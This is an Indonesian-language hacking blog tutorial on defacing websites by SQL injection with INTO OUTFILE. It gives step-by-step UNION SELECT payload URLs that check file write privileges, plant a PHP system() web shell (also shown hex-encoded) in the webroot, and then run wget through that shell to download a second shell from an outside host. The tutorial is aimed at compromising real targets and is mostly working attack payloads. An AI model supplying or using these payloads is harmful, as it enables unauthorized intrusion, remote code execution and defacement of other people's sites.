META CYBER Blog Official

Tutorial Sqli Into Out File

Hello kali ini gua akan membawakan tutor yaitu cara deface

SQL-Injection Into Outfile – Upload shell without admin panel.

persiapan:
1. Internet
2. Target
3. Dork? Mikir lah anjing

step satu

cari error nya dulu dengan quote ‘ klo error brrti ya vuln. Lakukan order by 1000 –+- sampe ada errornya

disitu muncul error

Warning: mysqli_fetch_array() expects parameter 1 to be mysqli_result, boolean given in D:\xampp\htdocs\target\berita\lihatDetailBerita.php on line 10

step kedua lakukan union select

 

klo uda nampilin angka togelna.kta lgs cek file_privnya saja gan

contoh =
http://target.com/index.php?id=-7 union select 1,2,file_priv,3,4 from mysql.user– –

klo muncul huruf Y kek gambar dibawah, brrti writable / bisa di into outfile. Klo engga? Cari target lain.

nahkan muncul huruf Y, ini saaatnya into outfile.
Contoh =

http://target.com/index.php?id=-7 union select 1,2,<?php if(isset($_GET[‘grt’])){ echo system($_GET[‘grt’]); }? >,4,5 into outfile ‘/home/user/public_html/tes.php’– –

kode phpnya di hexa dulu cok, mo pake kode itu apa uploader bebas, yg penting di hexa, gini jadina.

http://target.com/index.php?id=-7 union select 1,2,0x3c3f70687020696628697373657428245f4745545b27677274275d29297b206563686f2073797374656d28245f4745545b27677274275d293b207d3f203e,3,4 into outfile ‘D:/xampp/htdocs/bernadyland/berita/test.php’– –

D:/xampp/htdocs/bernadyland/berita/filemu.php

ini environ yg di dapatkan dari gambar error diatas.

klo udah tinggal akses shell cmdna

http://target.com/berita/filemu.php

disini kyta mainan rce, klo ga bisa di rce ya uploader lgs aja kode yg hexa tadi.

Command rce nya

http://target.com/berita/filemu.php?grt=wget http://linkshell.com/shell.txt -O shell.php

Shell lo

http://target.com/berita/shell.php